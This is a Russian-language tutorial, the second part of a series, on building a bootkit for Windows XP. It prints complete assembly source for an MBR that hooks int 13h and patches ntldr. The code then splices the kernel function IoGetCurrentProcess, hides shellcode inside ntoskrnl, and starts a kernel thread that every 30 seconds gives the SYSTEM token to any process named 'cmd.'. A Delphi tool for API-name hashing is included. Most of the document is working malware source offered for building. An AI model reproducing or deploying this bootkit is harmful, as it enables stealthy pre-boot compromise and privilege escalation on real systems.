Пошаговое создание своего Bootkit'a [ЧАСТЬ 2]
Доброго времени суток! Вот и подошла заключительная часть нашего цикла о буткитах. Настало время наделить наш буткит сверхъестественной способностью — повысить привилегии. Если вы не читали предыдущую статью, то вот она: Пошаговое создание своего Bootkit'a [ЧАСТЬ 1]. Думаю, не стоит объяснять, что это всего лишь малая демонстрационная часть буткита. На самом деле, святая обязанность буткита подготовить среду для руткита и загрузить его при старте системы. Всё остальное должен делать уже сам руткит. Но в нашем случае, мы не будем писать руткит, а запустим поток в режиме ядра, который каждые 30 секунд будет пробегать кольцевой список структур _EPROCESS и просматривать первые буквы поля ImageFileName. Если первые буквы имени процесса будут ‘cmd.’, то мы повысим ему привилегии до уровня системы.
План действий
На данном этапе очень важно подготовить почву для работы нашего шелкода. Наш шелкод должен работать в ядре ОС, поэтому мы должны будем каким-то образом оказаться в его контексте. Чтобы это сделать, можно просплайсить какую-нибудь функцию модуля ntoskrnl, которая вызывается при старте ОСи.
Вместо вызова этой функции, мы сначала запустим шелкод, а затем восстановим и вызовем её. Я выбрал IoGetCurrentProcess. Тут есть два подводных камня. Во-первых, чтобы установить перехват на функцию ядра, нужно получить базовый адрес загрузки ядра. Во-вторых, чтобы шелкод запустить, нам сначала нужно разместить его в памяти. Причём память должна быть доступна в контексте ядра. Поэтому мы не можем сделать переход на зарезервированную память этапом ранее. Да даже если и могли бы, то не вышло бы, так как память-то физическая, а нам нужна виртуальная. Чтобы отобразить физическую память можно заюзать функцию MmMapIoSpace. Но сейчас мы этого сделать не можем, так как ядро системы-то ещё не развёрнуто! Что же делать?
По первому пункту решение заключается в том, что у функции _BlOsLoader есть одна замечательная локальная переменная — kdDllBase. В ней хранится базовый адрес загрузки ядра. Так что мы просто просканируем память, где загружен NTLDR на её сигнатурку, а как найдём, то сразу же получим ImageBase ядра. Адрес загрузки NtLdr извлекается по фиксированному смещению — esp + 24h. Итак, получаем адрес загрузки ntldr, ищем в памяти переменную kdDllBase и читаем её. Так мы получим адрес загрузки ntoskrnl и сможем просплайсить функцию. Вся эта информация добывается реверсом ntldr.
По поводу второго пункта: чтобы оказаться в контексте ядра, проще всего записать свой код в виртуальную память, загрузки образа ядра. Тут возникает вопрос, куда бы можно было бы внедрить свой код? Ну так давайте откроем ntoskrnl.exe в HIEW и поищем! В этом файле очень много всяких строк. Вы только посмотрите!
Вы думаете о том же что и я? Лично нас эти строки не особо волнуют. А вот мысль, что вместо них будет располагаться наш шелкод очень даже волнует наши сердца. Поиск этого места будет осуществляться по подстроке «_PEN». Нужно проверить, чтобы эти строки располагались в секции с правами на чтение запись и исполнение. Также неплохо бы убедиться в том, что «_PEN» находится только в строках. Всё это так, так что двигаемся дальше. У нас есть способ получения адреса загрузки ядра, мы знаем где разместим наш шелкод. Осталось только две детали — получение адресов нужных нам функций и передача некоторых данных. Например, адрес загрузки ядра нам будет нужен в шелкоде. Адреса функций тоже. Нужно найти местечко в памяти, которое будет находится в контексте ядра ОС и туда записать. Опять на помощь нам приходит модуль ntoskrnl.exe. Мы будем сохранять всю эту информацию в DOS заголовке, вместо строки «This program cannot be run in DOS mode». Ввиду того, что после DOS Stub идёт выравнивание нулями, то у нас есть около сотни байт в своём распоряжении. Самое классное, что мы можем спокойно туда писать и читать.
Получение адреса функции по хешу от её имени
Данная техника всегда используется в работе шелкодов. Также её иногда использую для того, чтобы скрыть из строк названия функций. Сами посудите, когда открываешь для анализа неизвестный бинарь и видишь там экспорты таких функций, как InternetOpenUrl, InternetReadFile, WinExec, то сразу становится понятно, что, скорее всего, мы имеем дело с даунлоадером. Если использовать получение адресов нужных функций по хешу от имени, то строк не будет. Ещё одно преимущество — экономия места. Размер хеша у нас 4 байта. Самый распространённый алгоритм хеширования — результат ror 0x0D + код символа. Хотя некоторые типы используют для такой цели CRC32. Прежде чем приступить к кодингу буткита, нам нужно закодить тулзу, которая будет нам ещё не раз пригождаться. Тулза будет нам получать список всех имён экспортируемых функций заданного бинарника и их хешей. Вот основной код данной программки:
function getHashFromName(funcName: String): DWORD; Var hesh: DWORD; i: Integer; begin hesh := 0; for i := 1 to Length(funcName) do begin asm mov eax, hesh ror eax, $d mov hesh, eax end; hesh := hesh + byte(funcName[i]); end; Result := hesh; end; procedure TFuncHasher.Button1Click(Sender: TObject); Var name, hesh, str: string; begin LIB_NAME:=edtDll.Text; loadlibraryA(PAnsiChar(LIB_NAME)); ImageBase := GetModuleHandleA(PAnsiChar(LIB_NAME)); pNtHeaders := Pointer(ImageBase + DWORD(PImageDosHeader(ImageBase)^._lfanew)); ExportAddr := pNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; IED := PImageExportDirectory(ImageBase+ExportAddr.VirtualAddress); NamesCursor := Pointer(ImageBase + DWORD(IED^.AddressOfNames)); OrdinalCursor := Pointer(ImageBase + DWORD(IED^.AddressOfNameOrdinals)); memo1.Lines.Clear; For I:=0 to Integer(IED^.NumberOfNames-1) do begin name := pChar(ImageBase + PDWORD(NamesCursor)^); hesh := IntToHex(getHashFromName(name), 8); str := (name + ' : 0x' + hesh); memo1.Lines.Add(str); Inc(NamesCursor); Inc(OrdinalCursor); Application.ProcessMessages; end; end;
Вот что мне нагенерила утилита:
Теперь, можно приступить к кодингу, а именно к кодингу процедуры, которая по хешу даст нам адрес функции. Для этого нам нужно распарсить PE заголовок, из него вытащить адрес таблицы имён функций, ординалов и адресов функций. Мы будем хешировать каждую функцию и проверять полученных хеш с искомым. Если хеши совпали, то мы нашли функцию. Дальше берём порядковый номер этой функции и читаем ординал по такому же индексу. Полученное число — индекс в таблице адресов. Читаем адрес по такому индексу и дело в шляпе.
Вобщем всё как обычно. На ассемблере это будет выглядеть так:
;IN edi - hash the required function ;IN esi - base address of PE module ;OUT eax - address the required function or NULL GetFunctionByHash: nop push ebp mov ebp, esi mov eax, [ebp + 0x3c]; //PEheader mov edx, [ebp + eax + 0x78]; //export table add edx, ebp; mov ecx, [edx + 0x18]; //numberOfNames mov ebx, [edx + 0x20]; //numberOfExports add ebx, ebp; search_loop: jecxz noHash; dec ecx; //decrement numberOfNames mov esi, [ebx + ecx * 4]; //get an export name add esi, ebp; push ecx; push ebx; push edi; push esi; //setup stack frame and save clobber registers call hashString; pop esi; pop edi; pop ebx; pop ecx; //restore clobber registers cmp eax, edi; //check if hash matched jnz search_loop; mov ebx, [edx + 0x24]; //get address of the ordinals add ebx, ebp; mov cx, [ebx + 2 * ecx]; //current ordinal number mov ebx, [edx + 0x1c]; //extract the address table offset add ebx, ebp; mov eax, [ebx + 4 * ecx]; //address of function add eax, ebp; jmp done; noHash: mov eax, 0; done: pop ebp ret hashString: xor edi, edi; xor eax, eax; cld; continueHashing: lodsb; test al, al jz hash_done; ror edi, 0xd; add edi, eax; jmp continueHashing; hash_done: mov eax, edi; ret
Осталось определиться какие функции понадобятся нашему шелкоду, получить их адреса и сохранить в DOS заголовке образа ядра. Наш шелкод будет повышать привилегии. Тут мы работаем с Windows XP, поэтому единственное, что пришлось поправить — смещения до нужных нам полей. Эти смещения можно достать из отладчика ядра. Из основных рабочих функций нам нужны две: PsCreateSystemThread и KeDelayExecutionThread. Первая функция создаст нам поток. В потоке будет крутиться бесконечный цикл, в котором будет пробегаться кольцевой список из структур _EPROCESS. Функция KeDelayExecutionThread — аналог функции Sleep в пользовательском режиме. Итак, шелкод собственной персоной:
shellcode: start_shell_code EQU $ push ebx push ecx push edx push ebp push edi push esi pushfd call shell_entry kernelBase dd 0 shell_entry: pop eax mov ebp, dword [eax] ;ebp - адрес ядра mov esi, ebp add esi, IoGetCurrentProcess_date mov edi, ebp add edi, IoGetCurrentProcess mov edi, [edi] mov al, byte [esi] ;восстанивливаю оригинальную функцию mov byte [edi], al mov eax, dword [esi+1] mov dword [edi+1], eax mov eax, [ebp + IoGetCurrentProcess] call eax push eax ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;THREAD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mov dword [ebp + Delaytime + 0], 0xFD050F80 mov dword [ebp + Delaytime + 4], 0xffffffff mov ebx, [ebp + _PEN_ADDR] ;ebx - shellcode addr push ebx pop eax ;eax - shellcode addr mov esi, [ebp + PsCreateSystemThread] push ebp push dword 0 ;StartContext _IN_OPT add eax, THREAD - shellcode ;db 0xcc push eax ;StartRoutine push dword 0 ;ClientId _OUT_OPT push dword 0 ;ProcessHandle _IN_OPT push dword 0 ;ObjectAttributes push dword 0 ;THREAD_ALL_ACCESS mov eax, ebp add eax, THREAD_HANDLE push eax ;ThreadHandle call esi ;PsCreateSystemThread(THREAD_HANDLE,,,,,,THREAD,) pop ebp jmp exit_hook THREAD: pushad ;db 0xcc call $+5 @@addr: pop eax add eax, krnlBase - @@addr mov ebp, [eax] xor eax, eax @@sleep: push eax mov ebx, ebp add ebx, Delaytime push ebx ;pointer to delay time push dword 0 ;Not Alertable push dword 0 ;WaitMode - KernelMode mov esi, [ebp + KeDelayExecutionThread] call esi pop eax inc eax cmp eax, 6 ;30 секунд jnz @@sleep mov eax, [fs:KTHREAD_OFFSET] mov eax, [eax + ThreadsProcess] mov ecx, eax; Copy current _EPROCESS structure mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token mov edx, SYSTEM_PID; mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token mov esi, eax ;db 0xcc SearchCMD: mov ecx, eax mov edi, [eax + ImageFileName] mov eax, [eax + FLINK_OFFSET] ;ebx - Next _EPROCESS sub eax, FLINK_OFFSET cmp eax, esi jz Stop cmp edi, 0x2e646d63 ;'.dmc' jz SetToken jmp SearchCMD SetToken: ;db 0xcc mov[ecx + TOKEN_OFFSET], edx jmp SearchCMD Stop: popad jmp THREAD krnlBase dd 0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;THREAD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; exit_hook: pop eax popfd pop esi pop edi pop ebp pop edx pop ecx pop ebx ret end_shell_code EQU $
Для работы шелкода, единственное, что требуется знать, так это адрес загрузки ядра. Снова его получать как-то не то и не сё. Поэтому, применяется техника самомодифицирующегося кода — полученный адрес вставляется в кусок кода. Это сработает только до перехода в защищённый режим. Так как в защищённом режиме писать в секцию кода нельзя. Поэтому мы своевременно сохраним адрес загрузки ядра в переменную krnlBase. Она нам пригодятся, когда шелкод получит управление. А получит он управление, как вызовется в первый раз системой функция IoGetCurrentProcess. В шелкоде следует первым делом восстановить первые 5 байт перехваченной функции и вызвать её. Далее мы запускаем в потоке бесконечный цикл. Кстати, первые 5 байт функции также хранятся в DOS заголовке. Нашим постоянным спутником является небольшая проблема, которая иногда даже раздражает. Нам постоянно приходится пересчитывать адреса до нужных мест. Это связано с тем, что и код-то мы перемещаем то туда, то сюда. Но это решается техникой получения своего адреса — call $+5, pop eax. В eax будет находится адрес инструкции pop eax. Дальше уже просто прибавляем смещение до нужного места. Вот, в принципе и всё! А вот и полный код:
START: mov ax, 3 int 10h mov ax, 0b800h mov es, ax mov word [es:0],261h mov word [es:2],261h mov word [es:4],261h xor ax, ax int 16h cli xor ax, ax mov ds, ax mov sp, 0FFFFh sub word [413h], 2h mov ax, [ds:413h] sti cld shl ax, 6 mov es, ax xor di, di mov si, 7c00h mov cx, 200h rep movsb mov bx, di mov ah, 2 mov al, 2 ;2 сектора mov cx, 2 ;читаю 2 сектор mov dx, 0 ;диск А int 13h push es push @@read_orig retf ;;;;;;;;ISR of int13h;;;;;;;;;;; @@Interapt: cmp ah, 2h jz @@execute cmp ah, 42h jz @@execute db 0EAh dw 0000, 0000 Int_13 EQU $-4 @@execute: mov [cs:int13hFunc], ah pushf ;orig int13h съест сохранённый регистр флагов из стека + cs и ip call far [cs: Int_13] jc @@int13h_ret pushf cli push es pusha mov ah, 00h int13hFunc EQU $-1 cmp ah, 42h jnz @@int13h_f2 ;;;Disck Address packet ;;;offset range size description ;;;00h 1 byte size of DAP = 16 = 10h ;;;01h 1 byte unused, should be zero ;;;02h..03h 2 bytes number of sectors to be read, (some Phoenix BIOSes are limited to a maximum of 127 sectors) ;;;04h..07h 4 bytes segment:offset pointer to the memory buffer to which sectors will be transferred (note that x86 is little-endian: if declaring the segment and offset separately, the offset must be declared before the segment) ;;;08h..0Fh 8 bytes absolute number of the start of the sectors to be read (1st sector of drive has number 0) lodsw lodsw ;ax = number of sectors to be read les bx, [si] @@int13h_f2: test al, al jle @@ExitInt_13 ;al=колличество секторов для чтения ;ax:=ax*2^9=ax*512b ;es:bx - прочитанные данные movzx cx, al shl cx, 9 mov di, bx mov al, 8Bh cld @@Search_8B: repne scasb jnz @@ExitInt_13 ;не найден байтик ;нашли 8b,ищем 74f685f0h ;8B F0 85 F6 74 21 80 3D cmp dword [es:di], 74F685F0h jnz @@Search_8B cmp byte [es:di+4], 21h jnz @@Search_8B cmp word [es:di+5], 3D80h jnz @@Search_8B ;Если мы тут, значит нашли место в ntldr: seg000:00026C8C ;ntldr ;00026C8C: 8BF0 mov si,ax ;00026C8E: 85F6 test si,si ;00026C90: 7421 jz 000026CB3 -- 1 ;00026C92: 803D10 cmp b,[di],010 ;xchg bx, bx mov word [es:di-1], 15ffh mov eax, cs shl eax, 4 ;физический адрес своего сегмента add eax, StartCODE32 mov [cs:dword_E5], eax mov [cs:MyCode32Addr], eax sub eax, 4 mov [es:di+1], eax ;mov dword ptr es:[di-1], 0F685f08bh ; восстанавливаю сигнатуру ;mov dword ptr es:[di+3], 03D802174h @@ExitInt_13: popa pop es popf @@int13h_ret: iret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; @@read_orig: xor ax, ax mov es, ax mov dx, es mov bx, 7c00h mov ah, 2 mov al, 2 ;2 сектора mov cx, 1 ;mbr mov dx, 80h int 13h ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; HOOKED INTERUPT INT13h;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;HOOKED INTERUPT INT13h ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; cli mov ax, [4Eh] ;segment mov [cs:Int_13+2],ax mov ax, [4Ch] ;offset mov [cs:Int_13],ax mov word [4eh], cs mov ax, @@Interapt mov word [4Ch], ax sti @@boot: push 0 push 7c00h retf times 510-($ - $$) db 0 db 55h, 0AAh dword_E5 dd 0 use32 StartCODE32: pushfd pushad NtoskrnlBase EQU 0x40 ;относительно Dos Header, вместо stub. ExAcquireFastMutexUnsafe EQU 0x44 IoGetCurrentProcess EQU 0x48 IoGetCurrentProcess_date EQU 0x4C _PEN_ADDR EQU 0x51 ;IoGetCurrentProcess_date занимает 5 байт THREAD_HANDLE EQU 0x55 Delaytime EQU 0x59 PsCreateSystemThread EQU 0x61 KeDelayExecutionThread EQU 0x65 mov edi, [esp+24h] and edi, 0xfff00000 ;search kddllBase cld mov al, 0xC7 ;_BlLoaderBlock ;C7 46 34 00 40 @@Search_C7: scasb jnz @@Search_C7 cmp dword [edi], 40003446h jnz @@Search_C7 mov al, 0A1h @@Search_A1: scasb jnz @@Search_A1 mov esi, [edi] mov esi, [esi] ;points to base of loader table mov esi,[esi] ;points to first entry it's Ntoskrnl.exe mov edx,[esi] ;points to second entry ,it's hal.dll add esi, 24 ; to obtain pointer to ntoskrnls, base address,it 24 bytes from it's entry mov eax, [esi] mov dword [eax + NtoskrnlBase], eax mov ebp, eax mov word [eax + 2], 0x7897 mov edi, 0x94A06B12 ; hash for PsCreateSystemThread mov esi, ebp call GetFunctionByHash mov dword [ebp + PsCreateSystemThread], eax mov edi, 0x58586D92 ; hash for KeDelayExecutionThread mov esi, ebp call GetFunctionByHash mov dword [ebp + KeDelayExecutionThread], eax ; FUNCTION INTERCEPT mov edi, 0x9DCF1B5E ; hash for IoGetCurrentProcess mov esi, ebp call GetFunctionByHash mov dword [ebp + IoGetCurrentProcess], eax mov ecx, 5 mov esi, eax mov edi, ebp add edi, IoGetCurrentProcess_date rep movsb ;Find Free Space mov esi, ebp call findpend mov dword [ebp + _PEN_ADDR], eax ;COPY SHELLCODE TO NTOSkrnl Free Spase mov ecx, end_shell_code - start_shell_code ;получить адрес шелкода и скопировать его в свободное место add esi, shellcode mov edi, eax ;rep movsb call @@label @@label: pop eax mov ebx, eax add ebx, krnlBase - @@label mov dword [ebx], ebp mov ebx, eax add ebx, kernelBase - @@label mov dword [ebx], ebp mov ecx, end_shell_code - start_shell_code mov edi, ebp add edi, _PEN_ADDR mov edi, [edi] push edi mov esi, eax add esi, shellcode - @@label rep movsb mov esi, [ebp + IoGetCurrentProcess] mov byte [esi], 0xE9 ;просплайсим на свободное место на JMP NEAR xxxx pop edi ;edi - адрес шелкода sub edi, esi sub edi, 5 ;edi - растояние до шела mov dword [esi+1], edi ;адрес шелкода mov eax, dword [ebp + IoGetCurrentProcess] mov dword [eax-4], ebp popad popfd mov esi, eax test eax, eax jnz short Path_Done pushfd add dword [esp+4], 21h popfd Path_Done: ret MyCode32Addr dd 0 shellcode: start_shell_code EQU $ push ebx push ecx push edx push ebp push edi push esi pushfd call shell_entry kernelBase dd 0 shell_entry: pop eax mov ebp, dword [eax] ;ebp - адрес ядра mov esi, ebp add esi, IoGetCurrentProcess_date mov edi, ebp add edi, IoGetCurrentProcess mov edi, [edi] mov al, byte [esi] ;восстанивливаю оригинальную функцию mov byte [edi], al mov eax, dword [esi+1] mov dword [edi+1], eax mov eax, [ebp + IoGetCurrentProcess] call eax push eax ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;THREAD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mov dword [ebp + Delaytime + 0], 0xFD050F80 mov dword [ebp + Delaytime + 4], 0xffffffff mov ebx, [ebp + _PEN_ADDR] ;ebx - shellcode addr push ebx pop eax ;eax - shellcode addr mov esi, [ebp + PsCreateSystemThread] push ebp push dword 0 ;StartContext _IN_OPT add eax, THREAD - shellcode ;db 0xcc push eax ;StartRoutine push dword 0 ;ClientId _OUT_OPT push dword 0 ;ProcessHandle _IN_OPT push dword 0 ;ObjectAttributes push dword 0 ;THREAD_ALL_ACCESS mov eax, ebp add eax, THREAD_HANDLE push eax ;ThreadHandle call esi ;PsCreateSystemThread(THREAD_HANDLE,,,,,,THREAD,) pop ebp jmp exit_hook THREAD: pushad ;db 0xcc call $+5 @@addr: pop eax add eax, krnlBase - @@addr mov ebp, [eax] xor eax, eax @@sleep: push eax mov ebx, ebp add ebx, Delaytime push ebx ;pointer to delay time push dword 0 ;Not Alertable push dword 0 ;WaitMode - KernelMode mov esi, [ebp + KeDelayExecutionThread] call esi pop eax inc eax cmp eax, 6 ;30 секунд jnz @@sleep mov eax, [fs:KTHREAD_OFFSET] mov eax, [eax + ThreadsProcess] mov ecx, eax; Copy current _EPROCESS structure mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token mov edx, SYSTEM_PID; mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token mov esi, eax ;db 0xcc SearchCMD: mov ecx, eax mov edi, [eax + ImageFileName] mov eax, [eax + FLINK_OFFSET] ;ebx - Next _EPROCESS sub eax, FLINK_OFFSET cmp eax, esi jz Stop cmp edi, 0x2e646d63 ;'.dmc' jz SetToken jmp SearchCMD SetToken: ;db 0xcc mov[ecx + TOKEN_OFFSET], edx jmp SearchCMD Stop: popad jmp THREAD krnlBase dd 0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;THREAD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; exit_hook: pop eax popfd pop esi pop edi pop ebp pop edx pop ecx pop ebx ret end_shell_code EQU $ ;IN edi - hash the required function ;IN esi - base address of PE module ;OUT eax - address the required function or NULL GetFunctionByHash: nop push ebp mov ebp, esi mov eax, [ebp + 0x3c]; //PEheader mov edx, [ebp + eax + 0x78]; //export table add edx, ebp; mov ecx, [edx + 0x18]; //numberOfNames mov ebx, [edx + 0x20]; //numberOfExports add ebx, ebp; search_loop: jecxz noHash; dec ecx; //decrement numberOfNames mov esi, [ebx + ecx * 4]; //get an export name add esi, ebp; push ecx; push ebx; push edi; push esi; //setup stack frame and save clobber registers call hashString; pop esi; pop edi; pop ebx; pop ecx; //restore clobber registers cmp eax, edi; //check if hash matched jnz search_loop; mov ebx, [edx + 0x24]; //get address of the ordinals add ebx, ebp; mov cx, [ebx + 2 * ecx]; //current ordinal number mov ebx, [edx + 0x1c]; //extract the address table offset add ebx, ebp; mov eax, [ebx + 4 * ecx]; //address of function add eax, ebp; jmp done; noHash: mov eax, 0; done: pop ebp ret hashString: xor edi, edi; xor eax, eax; cld; continueHashing: lodsb; test al, al jz hash_done; ror edi, 0xd; add edi, eax; jmp continueHashing; hash_done: mov eax, edi; ret ;Finde Free Space in NTOSkrnl ;IN esi - NTOSkrnl base address ;OUT - eax findpend: ;below function searches memory for 5f 50 45 4e for _PEN,this location is used to store code in NTOSkrnl; xor eax, eax mov edi, esi ;copy kernel base to scan searchagain: cmp dword [edi], 0x45505f53 ; jne contpend mov eax, edi ret contpend: inc edi jmp searchagain overpend: ret times 1534-($ - $$) db 0 db 55h, 0AAh KTHREAD_OFFSET EQU 0x124 ThreadsProcess EQU 0x220 ;// ThreadsProcess : 0x825c8830 PID_OFFSET EQU 0x084 ;// nt!_EPROCESS.UniqueProcessId FLINK_OFFSET EQU 0x088 ;// nt!_EPROCESS.ActiveProcessLinks.Flink TOKEN_OFFSET EQU 0x0C8 ;// nt!_EPROCESS.Token SYSTEM_PID EQU 0x004 ;// SYSTEM Process PID ImageFileName EQU 0x174 ;// process name
Давайте посмотрим, что получилось:
Заключение
Таким образом мы запустили в потоке бесконечный цикл, который каждые 30 секунд повышает привилегии до системных всем процессам, чьи имена начинаются с подстроки ‘cmd.’. Самое интересное то, что мы запустились ещё до загрузки системы и контролировали её ход, периодически его модифицируя. Буткит создан!